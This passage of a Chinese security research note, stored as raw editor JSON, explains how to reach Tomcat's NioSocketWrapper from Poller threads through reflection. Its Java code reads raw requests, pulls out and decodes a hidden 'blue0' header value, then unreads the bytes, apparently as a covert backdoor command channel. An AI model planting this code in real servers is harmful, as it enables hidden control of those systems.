4;j83H-1659704841069&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在重新审视Tomcat的处理逻辑后，最终在Poller中发现了我们的Real NioSocketWrapper对象：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dOMB-1659704847276&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCEbff4686796dee1f4ad83f6eaad058e6a&#34;,&#34;version&#34;:1,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCEbff4686796dee1f4ad83f6eaad058e6a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Xc1-1659704340859&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;akHb-1659704340857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过其read方法可成功获取当次的request请求：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G3h4-1659705244734&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/4/WEBRESOURCEb4a3e78254e7ffbccef3b3483a09a2b4&#34;,&#34;version&#34;:1,&#34;width&#34;:662,&#34;height&#34;:408},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/4/WEBRESOURCEb4a3e78254e7ffbccef3b3483a09a2b4&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:408},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bT48-1659705114461&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uMSJ-1659705114442&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;但这会导致一个问题，由于在Processor组件对socket处理之前我们就已进行过一次read，后续的处理逻辑势必无法再次获取已读取过的request数据：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bvqC-1659705577858&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/7/WEBRESOURCE01606410ca854c4c4b3a6ff8d2b48107&#34;,&#34;version&#34;:1,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/7/WEBRESOURCE01606410ca854c4c4b3a6ff8d2b48107&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YUYL-1659705247289&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Np0-1659705247287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;这该如何解决？&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dhPF-1659705637242&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mo6R-1659705637241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在翻看代码的过程中，我发现NioSocketWrapper父类SocketWrapperBase中，有一个方法名为unRead：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FfFn-1659705764643&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/8/WEBRESOURCE3314360338d8142e6aaed8682a69af38&#34;,&#34;version&#34;:1,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/8/WEBRESOURCE3314360338d8142e6aaed8682a69af38&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JO4i-1659704958154&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xBws-1659704958152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过查找资料后发现与猜想中的作用大致相同：将已读取过的read数据重新放回socket。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SRag-1659705938553&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/5/WEBRESOURCEe4131464444cfa91928cb63ce8a7bd45&#34;,&#34;version&#34;:1,&#34;width&#34;:662,&#34;height&#34;:331},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/5/WEBRESOURCEe4131464444cfa91928cb63ce8a7bd45&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:331},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kv56-1659705773887&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PnUM-1659705773885&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;经过测试该方法可行，于是最终实现的代码为：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6tUv-1659706152474&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;,&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XjF4-1659706152330&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ERQg-1659706152329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String getRequest2(){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PBtN-1659706152332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NHVh-1659706152331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cRui-1659706152334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8T17-1659706152333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;blOq-1659706152336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hyox-1659706152335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GPOV-1659706152339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hbw6-1659706152338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bJ47-1659706152341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cssN-1659706152340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X15I-1659706152343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aSRY-1659706152342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (threadName.contains(\&#34;Poller\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVVD-1659706152345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WQIV-1659706152344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XaBy-1659706152347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lgjO-1659706152346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MZRO-1659706152349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5kXf-1659706152348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aLmc-1659706152351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o6qO-1659706152350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        byte[] bytes = new byte[8192];//Tomcat的NioSocketWrapper中默认buffer大小&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5zek-1659706152353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FMxF-1659706152352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        ByteBuffer buf = ByteBuffer.wrap(bytes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vmEC-1659706152355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X8BW-1659706152354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kE6T-1659706152357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TUno-1659706152356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            LinkedList linkedList = (LinkedList) getField(getField(getField(target, \&#34;selector\&#34;), \&#34;kqueueWrapper\&#34;), \&#34;updateList\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BlZI-1659706152359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zV1P-1659706152358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            for (Object obj : linkedList) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gZ3H-1659706152361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;umce-1659706152360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LtX0-1659706152363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rCYP-1659706152362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, \&#34;channel\&#34;), \&#34;keys\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8veG-1659706152365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ARv7-1659706152364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KOKO-1659706152367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;79RL-1659706152366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    for (Object tmp : selectionKeys) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WEfP-1659706152369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oqJw-1659706152368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MYPW-1659706152371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SR65-1659706152370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, \&#34;attachment\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dg3L-1659706152373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dqCY-1659706152372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CXcW-1659706152375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6vss-1659706152374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                nioSocketWrapper.read(false, buf);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4kaW-1659706152377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LU2V-1659706152376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                String a = new String(buf.array(), \&#34;UTF-8\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jnxI-1659706152379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q436-1659706152378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                if (a.indexOf(\&#34;blue0\&#34;) &gt; -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jtw4-1659706152381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XBhA-1659706152380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    System.out.println(a.indexOf(\&#34;blue0\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vd9K-1659706152383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;faGu-1659706152382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    System.out.println(a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fm4G-1659706152385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vpG0-1659706152384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    String b = a.substring(a.indexOf(\&#34;blue0\&#34;) + \&#34;blue0\&#34;.length() + 2, a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MzWn-1659706152387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WW85-1659706152386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    b = decode(DEFAULT_SECRET_KEY, b);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uUnU-1659706152389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qAHb-1659706152388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    buf.position(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SHjq-1659706152391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yDNF-1659706152390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    nioSocketWrapper.unRead(buf);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tH1f-1659706152393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;whPH-1659706152392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                                                    System.out.println(b);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3I78-1659706152395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mChK-1659706152394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                                                    System.out.println(new String(buf.array(), \&#34;UTF-8\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UHLB-1659706152397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2nv9-1659706152396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    return b;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9yO9-1659706152400&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PrIu-1659706152399&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DI1a-1659706152402&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q7bG-1659706152401&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                else{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7iey-1659706152404&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cWBc-1659706152403&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    buf.position(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SVKi-1659706152406&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wz08-1659706152405&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    nioSocketWrapper.unRead(buf);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8lFL-1659706152408&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ymUC-1659706152407&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y0rP-1659706152410&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UB3n-1659706152409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wzom-1659706152412&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OQ0t-1659706152411&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YRuX-1659706152414&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Sdj-1659706152413&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                nioSocketWrapper.unRead(buf);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v7MQ-1659706152416&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zSXQ-1659706152415&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fWfF-1659706152418&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;64E8-1659706152417&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gemU-1659706152420&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SMLe-1659706152419&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;85Ie-1659706152422&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;arNw-1659706152421&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2p48-1659706152424&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j06B-1659706152423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xh43-1659706152426&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1aES-1659706152425&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9ubp-1659706152428&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BZ61-1659706152427&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hm30-1659706152430&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gPKP-1659706152429&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tcIw-1659706152432&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;snY7-1659706152431&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wYDK-1659706152434&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PakB-1659706152433&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pprq-1659706152436&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1byt-1659706152435&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            